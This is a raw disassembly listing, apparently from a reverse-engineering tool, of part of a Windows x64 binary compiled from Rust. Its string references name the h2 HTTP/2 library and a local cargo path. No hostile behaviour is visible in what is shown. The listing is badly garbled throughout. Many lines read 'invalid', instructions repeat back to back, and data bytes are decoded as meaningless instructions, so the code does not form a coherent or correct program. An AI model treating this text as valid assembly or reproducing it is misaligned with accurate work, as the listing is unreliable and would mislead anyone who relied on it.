add byte [rsp + rbx + 0x48], dh
mov rcx, qword [0x14019f258]
mov ecx, dword [0x14019f258]
invalid
xor edx, edx
mov r8, rdi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
int3
int3
movups xmmword [rsp + 0x28], xmm0
and al, 0x28
mov r8, qword [rcx + 0x10]
mov byte [rsp + 0x20], 0
lea rdx, [0x140133750]
adc dword [rax], eax
adc dword [rax], eax
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov r9b, 1
call fcn.1400fb6e0
invalid
mov dh, 0xd
add ah, cl
invalid
int3
sub esp, 0x48
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
movzx ecx, byte [rax]
add cl, 0xfa
movzx ecx, cl
cmp cl, 6
mov r8d, 6
mov eax, 6
mov eax, 6
invalid
add byte [rax], al
cmovb r8d, ecx
movzx ecx, r8b
mov dh, 0xc8
mov dh, 0xc8
lea r8, [0x1401924f4]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
invalid
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x13e435
in al, 0x13
invalid
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015e49b]
in al, 0x13
invalid
in al, 0x13
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
mov r8d, 4
jmp 0x140020173
inc rax
ror byte [rax - 0x77], 0x44
and al, 0x40
mov qword [rsp + 0x40], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov ecx, dword [rdx + 0x28]
lea rax, [0x14015e4c9]
mov r8d, 0xf
jmp 0x140020199
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
lea rdx, [0x14015e4ac]
lea edx, [0x14015e4ac]
mov r8d, 0xe
jmp 0x140020173
lea rsi, [rax + 1]
add rax, 2
add eax, 2
add eax, 2
mov qword [rsp + 0x40], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015e4ba]
mov r8d, 4
mov rdi, rdx
mov rdx, rax
ret 0xff41
push rcx
sbb byte [rax - 0x77], cl
jl 0x140020105
invalid
ret 0xff41
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x1400204c0]
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0x3ce
mov qword [rsp + 0x20], rax
lea rdx, [0x14015e4be]
lea rdi, [rsp + 0x28]
mov r8d, 5
mov eax, 5
mov rcx, rdi
mov r9, rsi
call fcn.14000a380
lea rax, [0x140020480]
mov qword [rsp + 0x20], rax
invalid
and byte [rax - 0x73], cl
adc eax, 0x13e39c
lea rdx, [0x14015e4c3]
lea r9, [rsp + 0x40]
and al, 0x40
mov r8d, 6
mov rcx, rdi
call fcn.14000a380
movzx ecx, byte [rsp + 0x30]
movzx eax, byte [rsp + 0x31]
mov edx, eax
not dl
or dl, cl
test dl, 1
ret 0xf01
test byte [rcx], bl
add dword [rax], eax
invalid
ret 0xf01
add dword [rdi], ecx
test byte [rcx], bl
add dword [rax], eax
add byte [rax], cl
enter 0x62e9, 1
add byte [rax], al
or al, cl
jmp 0x1400202bc
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14015e49f]
lea edx, [0x14015e49f]
lea edx, [0x14015e49f]
mov r8d, 0xd
add rsp, 0x48
pop rdi
pop rsi
jmp rax
inc rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015e4d8]
mov r8d, 0x10
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x140020480]
jmp 0x140020205
mov qword [rsp + 0x40], rax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015e4e8]
mov r8d, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1400202d0]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14000c0c0
mov rcx, qword [rsp + 0x28]
movzx edx, byte [rsp + 0x38]
test rcx, rcx
je 0x140020268
mov al, 1
test dl, 1
jne 0x1400202bc
cmp rcx, 1
jne 0x14002028e
mov rsi, qword [rsp + 0x30]
cmp byte [rsp + 0x39], 0
je 0x140020293
test byte [rsi + 0x34], 4
jne 0x140020293
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400202bc
jmp 0x140020293
mov eax, edx
jmp 0x1400202bc
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
jne 0x1400202a4
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x14015fa49]
mov r8d, 2
jmp 0x1400202b9
mov rsi, qword [rsp + 0x30]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
jmp 0x1400202b3
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140165d4b]
mov r8d, 1
call qword [rax + 0x18]
and al, 1
add rsp, 0x48
pop rdi
pop rsi
ret
push rsi
sub rsp, 0x70
mov rax, qword [rdx]
mov r10d, dword [rdx + 8]
mov r9d, dword [rdx + 0xc]
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x2c], r9d
cmp qword [rax + 0x10], r10
jbe 0x140020c8f
mov rax, qword [rax + 8]
imul r10, r10, 0x130
cmp dword [rax + r10], 2
je 0x140020c8f
add rax, r10
cmp dword [rax + 0x114], r9d
jne 0x140020c8f
cmp byte [rax + 0x124], 0
jne 0x140020c88
cmp byte [rax + 0x125], 1
je 0x140020c88
add rcx, 0x10
mov rsi, r8
call fcn.140013e60
mov rax, qword [rsi]
mov rcx, qword [rsi + 8]
mov qword [rsi], 0
test rax, rax
je 0x140020c88
add rsp, 0x70
pop rsi
jmp qword [rax + 8]
nop
add rsp, 0x70
pop rsi
ret
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x140033810]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.1401224d0
int3
add byte [rax], al
add byte [rcx - 0x77], al
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
mov rcx, r9
shr r8d, 4
mov r9d, eax
mov ecx, eax
mov ecx, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x140021ae0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x140021b5d
mov eax, 0x81
sub rax, r9
add byte [rax], al
add byte [rcx + rbp - 0x38], cl
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14018e510]
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.140008bd0
nop
add rsp, 0xb8
ret
lea r8, [0x140130ae8]
mov edx, 0x80
call fcn.140122510
int3
str word [rax - 0x75]
push r8
mov qword [rsp + 0x260], rax
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x250], xmm0
push rax
add al, byte [rax]
add byte [rdi], cl
adc byte [rbx], al
push rax
add al, byte [rax]
add byte [rdi], cl
adc byte [rbx], al
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x240], xmm3
and al, 0x40
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x230], edx
and al, 0x40
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x230], edx
movaps xmmword [rsp + 0x220], xmm1
movaps xmmword [rsp + 0x210], xmm0
sub dword [rsp + 0x210], eax
sub dword [rsp + 0x210], eax
mov qword [rsp + 0x20], r15
mov byte [rsp + 0x28], r14b
mov byte [rsp + 0x29], bpl
lea rcx, [rsp + 0x1b8]
lea rdx, [rsp + 0x210]
call fcn.1400241a0
movzx r14d, byte [rsp + 0x1b8]
movzx esi, byte [rsp + 0x1b8]
movzx esi, byte [rsp + 0x1b8]
movzx ebp, byte [rsp + 0x1b9]
cmp r14b, 3
jne 0x140021e39
and dword [rcx], eax
add byte [rax], al
and dword [rcx], eax
add byte [rax], al
cmp byte [rsp + 0xd8], 0xa
jb 0x140021d44
cmp qword [rsp + 0xe8], 0
je 0x140021d44
add byte [rdi + rdx + 0x4c], dh
mov eax, dword [rsp + 0xe0]
mov r8, qword [rsp + 0xe0]
mov rcx, qword [0x14019f258]
xor edx, edx
sar bh, cl
adc eax, 0x10d6fc
sar bh, cl
adc eax, 0x10d6fc
cmp byte [rsp + 0x80], 2
jb 0x140021d7a
mov rdi, qword [rsp + 0x88]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
adc r15b, r15b
push rax
adc byte [rax - 0x75], cl
or eax, 0x17d4e9
mov esp, 0x8824
add byte [rax - 0x73], cl
sbb byte [r8 - 0x75], r9b
invalid
adc r15b, r15b
push rax
adc byte [rax - 0x75], cl
or eax, 0x17d4e9
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
adc byte [rax], al
invalid
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
invalid
invalid
jl 0x140021de8
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
cmp qword [rsp + 0x70], 0
jo 0x140021dc6
je 0x140021ddc
mov r8, qword [rsp + 0x68]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
test rbx, rbx
je 0x140021fc1
add byte [rax], al
mov rdi, qword [rsp + 0x40]
add rdi, 0x30
jmp 0x140021e1f
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x140021fc1
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x140021e00
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x140021e00
movzx r15d, byte [rsp + 0x1ba]
movups xmm0, xmmword [rsp + 0x1bb]
movaps xmmword [rsp + 0x160], xmm0
movups xmm0, xmmword [rsp + 0x1cb]
movaps xmmword [rsp + 0x170], xmm0
test byte [rax + rsi*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x1db], al
test byte [rax + rsi*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x1db], al
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0x1eb]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [rsp + 0x1fb]
movaps xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x1ad], rax
cmp byte [rsp + 0x80], 2
jb 0x140021ed8
mov rbx, qword [rsp + 0x88]
lea rcx, [rbx + 0x18]
sbb byte [r8 - 0x75], cl
add ecx, dword [rax - 0x75]
push rbx
or byte [rbx + rcx*4 + 0x43], cl
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0x17d38b
sbb byte [r8 - 0x75], cl
add ecx, dword [rax - 0x75]
push rbx
or byte [rbx + rcx*4 + 0x43], cl
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0x17d38b
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
lea rcx, [rsp + 0xc8]
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
mov byte [rsp + 0x80], r14b
mov byte [rsp + 0x81], bpl
mov byte [rsp + 0x82], r15b
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmm3, xmmword [rsp + 0x190]
movups xmmword [rsp + 0x83], xmm0
movups xmmword [rsp + 0x93], xmm1
movups xmmword [rsp + 0xa3], xmm2
movups xmmword [rsp + 0xb3], xmm3
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0xc3], xmm0
mov rax, qword [rsp + 0x1ad]
mov qword [rsp + 0xd0], rax
mov rbx, qword [rsp + 0x20]
movzx r14d, byte [rsp + 0x28]
movzx ebp, byte [rsp + 0x29]
lea rcx, [rsp + 0x210]
mov r8d, 0xd6
mov rdx, rdi
call fcn.140121660
jmp 0x140022056
cmp qword [rsp + 0x38], 0
je 0x140021fdd
mov r8, qword [rsp + 0x40]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x14002200b
mov rdi, qword [rsp + 0x58]
add rdi, 0x38
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rbx
jne 0x140021ff0
cmp qword [rsp + 0x50], 0
je 0x140022027
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x14019f258]
xor edx, edx
sar bh, cl
adc eax, 0x10d419
sar bh, cl
adc eax, 0x10d419
mov rdi, qword [rsp + 0xf0]
mov ebx, 3
mov r14b, 3
add ecx, dword [rax - 0x7b]
invalid
je 0x140022056
add ecx, dword [rax - 0x7b]
push qword [rdx + rbx + 0x48]
mov ecx, edi
mov rcx, rdi
call fcn.1400160e0
mov rcx, qword [0x14019f258]
xor edx, edx
ror byte [rcx - 0x77], cl
clc
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], rbx
mov byte [rsi + 8], r14b
mov byte [rsi + 9], bpl
add rsi, 0xa
add esi, 0xa
add esi, 0xa
lea rdx, [rsp + 0x210]
mov r8d, 0xd6
mov rcx, rsi
call fcn.140121660
cmc
lldt word [rax - 0x173b7eb8]
add al, byte [rax]
add byte [rbx + 0x5d], bl
cmc
lldt word [rax - 0x173b7eb8]
add al, byte [rax]
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r14
pop r15
ret
int3
adc byte [rax - 0x75], r9b
sbb byte [rax - 0x77], r9b
fimul dword [rax + 0x29]
ret 0x3948
fmul dword [rcx + 0x29]
enter 0x294c, 0xffffffffffffffc0
cmp r8, rax
seta dl
mov r9, rdi
sub r9, rbx
cmp r9, rax
setae r9b
test dl, r9b
jne 0x140022109
sub rdi, r8
mov rax, qword [rsi + 8]
lea rcx, [rcx + rcx*8]
lea rdx, [rax + rcx*8]
lea rcx, [rdi + rdi*8]
lea rcx, [rax + rcx*8]
shl r8, 3
add ecx, dword [rdi - 0x73]
add al, 0xc0
add ecx, dword [rdi - 0x73]
add al, 0xc0
call fcn.140121660
mov qword [rsi + 0x10], rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rdx, qword [rsi + 8]
lea rcx, [rbx + rbx*8]
or al, 0xdb
or al, 0xdb
lea rcx, [rdx + rcx*8]
shl rax, 3
lea r8, [rax + rax*8]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140121660
mov rdx, qword [rsp + 0xc0]
mov r12, r8
mov qword [rax], 1
mov qword [rax + 8], rdx
lea rcx, [rsp + 0xb8]
call fcn.1400227d0
add eax, dword [rax]
add byte [rax + 0x3b], cl
jl 0x1400224db
sub byte [rdi], cl
invalid
invalid
add al, byte [rax]
invalid
mov r13, rbx
sub rbx, 1
jb 0x140022707
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rax + rcx + 0x38], al
movaps xmmword [rsp + 0x90], xmm0
add byte [rax], al
movups xmm0, xmmword [r8 + rcx + 0x28]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [r8 + rcx + 0x18]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [r8 + rcx + 8]
movaps xmmword [rsp + 0x60], xmm0
cmp rax, 2
je 0x140022707
invalid
mov bl, 1
add byte [rax], al
test byte [rbx + 0x4c000001], dh
add ebp, dword [rsp + 0x30]
add r13, qword [rsp + 0x30]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb0]
lea rcx, [rsp + 0xc0]
mov qword [rcx + 0x50], rax
movaps xmm0, xmmword [rsp + 0xa0]
add byte [rax], al
add byte [rdi], cl
adc dword [rcx + 0x40], eax
add byte [rax], al
add byte [rdi], cl
adc dword [rcx + 0x40], eax
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmm2, xmmword [rsp + 0x80]
movaps xmm3, xmmword [rsp + 0x90]
nop
add byte [rax], al
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
nop
add byte [rax], al
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rsi, r12
mov r12, qword [rsp + 0x110]
and r12, r15
lea rcx, [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add al, ch
jnp 0x1400225f8
invalid
dec dword [rax + 0x29]
invalid
mov r8, rsi
mov qword [rsi + 0x48], rdi
nop
and al, 0xc8
add byte [rax], al
add al, ch
jnp 0x1400225f8
invalid
mov rcx, r12
mov r12d, 0
cmp rcx, r14
jae 0x1400225d0
lea rax, [rcx + rcx*2]
cmp qword [rbp + rax*8], 0
je 0x1400226ec
lea rax, [rax*8]
add rax, rbp
cmp qword [rax + 8], r13
call 0x1486a5f49
je 0x140022610
inc rcx
mov r12, rcx
jmp 0x1400225d0
test byte [rsp + 0xb8], 1
jne 0x140022490
cmp qword [rsp + 0x40], 0
mov r12, r8
je 0x140022639
mov rdx, qword [rsp + 0x30]
cmp r13, qword [rsp + 0x38]
je 0x14002249b
mov qword [rax], 0
lea rdx, [rcx + 1]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, rdx
mov edx, 0
cmp rax, r14
jae 0x140022650
lea rdx, [rax + rax*2]
cmp dword [rbp + rdx*8], 1
jne 0x1400224a6
cmp bh, dh
invalid
invalid
cmp bh, dh
invalid
lea rdx, [rdx*8]
add rdx, rbp
mov r8, qword [rdx + 0x10]
and r8, r15
mov r9, rax
sub r9, r8
test r9, r15
je 0x1400224a6
invalid
invalid
invalid
mov r8, qword [rdx + 0x10]
mov qword [rsp + 0x70], r8
movups xmm0, xmmword [rdx]
add cl, byte [rdi]
sub dword [rsp + 0x60], eax
add cl, byte [rdi]
sub dword [rsp + 0x60], eax
mov qword [rdx], 0
cmp rcx, r14
cmp ecx, esi
cmp ecx, esi
jae case.0x140017b67.222
lea rcx, [rcx + rcx*2]
mov rdx, qword [rsp + 0x70]
mov qword [rbp + rcx*8 + 0x10], rdx
mov dword [rbp + rcx*8 + 0x10], edx
mov dword [rbp + rcx*8 + 0x10], edx
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rbp + rcx*8], xmm0
lea rdx, [rax + 1]
mov rcx, rax
jmp 0x140022650
push rax
add dword [rax - 0x77], ecx
shr ebx, 0x85
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
call fcn.140122a00
add al, ch
or byte [rbx], al
adc byte [rax], al
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov rdx, r14
call fcn.140122580
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
adc al, byte [rax]
call fcn.140122a00
int3
int3
mov esi, ecx
mov rbx, qword [rcx]
call fcn.140031230
mov rcx, qword [rsi + 0x10]
adc byte [rax - 0x75], r9b
invalid
invalid
mov rdx, rbx
sub rdx, rax
cmp rcx, rdx
jbe 0x140022797
push rdx
push rdx
mov rdi, qword [rsi]
mov r8, rbx
sub r8, rcx
sub rax, r8
cmp r8, rax
seta dl
mov r9, rdi
sub r9, rbx
cmp r9, rax
setae r9b
test dl, r9b
jne 0x14002279f
retf 0x3675
sub rdi, r8
mov rax, qword [rsi + 8]
lea rdx, [rcx + rcx*2]
shl rdx, 5
loop 0x14002277d
add rdx, rax
lea rcx, [rdi + rdi*2]
shl rcx, 5
add rcx, rax
shl r8, 5
lea r8, [r8 + r8*2]
add al, 0x40
call fcn.140121660
mov qword [rsi + 0x10], rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov rdx, qword [rsi + 8]
lea rcx, [rbx + rbx*2]
shl rcx, 5
shl ecx, 5
shl ecx, 5
add rcx, rdx
shl rax, 5
lea r8, [rax + rax*2]
add rsp, 0x20
invalid
and byte [rbx + 0x5f], bl
pop rsi
jmp fcn.140121660
invalid
int3
and byte [rdi], cl
mov dh, 0x51
push rax
lea r8d, [rdx - 2]
dec rdx
xor eax, eax
cmp r8b, 6
cmovb rax, rdx
cmp rax, 5
ja case.default.0x140022802
ret 0x8348
lea rdx, [0x140192510]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov rax, qword [rcx + 0x10]
mov rdx, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x20]
add rcx, 0x28
add rsp, 0x20
and byte [r8 - 0x7d], cl
shr dword [rax], 0x48
add esp, 0x20
pop rsi
jmp rax
mov r9, qword [rcx + 0x10]
test r9, r9
leave
leave
je case.0x140020051.9
lea rax, [rcx + 0x28]
mov rdx, qword [rcx + 0x18]
mov r8, qword [rcx + 0x20]
mov rsi, rcx
mov rcx, rax
call qword [r9 + 0x10]
call qword [rcx + 0x10]
sub byte [rax - 0x75], cl
push rcx
sbb byte [rbx + rcx*4 + 0x41], cl
and byte [rax - 0x77], cl
invalid
call qword [rcx + 0x10]
push rcx
adc byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rax, qword [rcx + 0x30]
mov rdx, qword [rcx + 0x38]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x40]
add rcx, 0x48
add rsp, 0x20
invalid
and byte [rsi + 0x48], bl
jmp rax
invalid
jmp rax
cmp byte [rcx + 0x10], 0xa
jb case.default.0x140022802
cmp qword [rcx + 0x20], 0
je case.default.0x140022802
add byte [rcx + rbx + 0x4c], dh
mov eax, dword [rcx + 0x18]
invalid
mov r8, qword [rcx + 0x18]
sbb byte [rax - 0x75], cl
or eax, 0x17c9e2
loop 0x14002283d
invalid
invalid
mov rcx, qword [0x14019f258]
loop 0x14002283d
invalid
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
and byte [rsi - 0x3d], bl
and byte [rsi - 0x3d], bl
int3
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
and byte [rax - 0x77], cl
invalid
mov qword [rcx + 0x50], rdx
push rcx
push rax
and byte [rax - 0x77], cl
invalid
push rax
test rdx, rdx
je 0x1400228c4
invalid
sbb dword [rax - 0x77], ecx
int1
mov rcx, rsi
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
jmp fcn.140022400
mov qword [rsi + 0x48], 0
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x140022901
mov rax, qword [rsi + 8]
shl rcx, 3
lea rcx, [rcx + rcx*2]
or al, 0x49
or al, 0x49
xor r10, rdx
xor edx, edx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov qword [rax + rdx], 0
add byte [rax], al
add rdx, 0x18
cmp rcx, rdx
jne 0x1400228f0
mov r15, qword [rsi + 0x30]
test r15, r15
je 0x140022991
test byte [rbx + 0x48000000], al
mov eax, dword [rsi + 0x28]
add dword [rax], 0
add byte [rax - 0x75], cl
sub byte [rax - 0x75], r9b
mov rcx, qword [rsi + 0x18]
invalid
invalid
add byte [rax], al
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x18]
mov rdi, qword [rsi + 0x20]
jle 0x14002293a
jle 0x14002293a
xor edx, edx
ror byte [rax + 0x39], cl
cmp rax, rcx
mov r8, rcx
enter 0xffffffffffff8949, 0xffffffffffffffc8
cmovb r8, rdx
sub rax, r8
sub eax, eax
sub eax, eax
ror byte [rcx - 0x77], 0xcc
mov r12, rcx
sub r12, rax
invalid
lea r13, [rax + r15]
mov r14, r15
mov esi, edi
mov esi, edi
dec byte [rbp + 0x29]
out 0x4c, al
sub r14, r12
cmova r13, rcx
cmova ebp, ecx
cmovb r14, rdx
cmovb esi, edx
mov qword [rsi + 0x30], 0
mov dword [rsi + 0x30], 0
add byte [rcx + 0x29], cl
sub r13, rax
sub ebp, eax
invalid
je 0x140022971
lea rbx, [rax + rax*2]
sbb al, 0x40
shl rbx, 5
jrcxz case.0x14001aeff.98
add rbx, rdi
nop dword [rax]
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax], 0
add byte [rax], al
mov rcx, rbx
call fcn.1400227d0
push 0x48fffffe
add ebx, 0x60
invalid
ret
dec r13
jne case.0x14001b2de.63
out dx, eax
int 0x75
out dx, eax
cmp r12, r15
jae 0x140022991
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.1400227d0
add rdi, 0x60
invalid
invalid
invalid
dec r14
jne 0x140022980
out dx, eax
mov qword [rsi + 0x28], 0
mov dword [rsi + 0x28], 0
mov qword [rsi + 0x40], 0
add rsp, 0x20
add esp, 0x20
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
int3
int3
int3
int3
in al, dx
js case.0x14001a968.36
add dword [rax - 0x7d], ecx
clc
or eax, 0x125870f
add byte [rax], al
lea rcx, [0x140192528]
or eax, 0x16fb51
or eax, 0x16fb51
sti
invalid
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
lea rax, [0x140144d6a]
lea eax, [0x140144d6a]
mov qword [rsp + 0x28], rax
and al, 0x28
mov eax, 0x18
jmp 0x140022b06
add byte [rax], al
add byte [rax], al
add cl, ch
adc byte [rcx], al
add byte [rax], al
lea rax, [0x140144f22]
lea eax, [0x140144f22]
mov qword [rsp + 0x28], rax
and al, 0x28
mov eax, 0x2b
add byte [rax], al
add cl, ch
jmp 0x140022b06
lea rax, [0x140144de7]
jmp 0x140022b06
add byte [rax], al
lea rax, [0x140144de7]
and edx, dword [rdx]
add byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
mov qword [rsp + 0x28], rax
and al, 0x28
mov eax, 0x2a
jmp 0x140022b06
add byte [rax], al
add cl, ch
in al, 0
add byte [rax], al
lea rax, [0x140144f4d]
lea eax, [0x140144f4d]
mov qword [rsp + 0x28], rax
mov eax, 0x34
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
lea rax, [0x140144e9b]
and al, 0x12
add byte [rax - 0x77], cl
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x28], rax
mov eax, 0x31
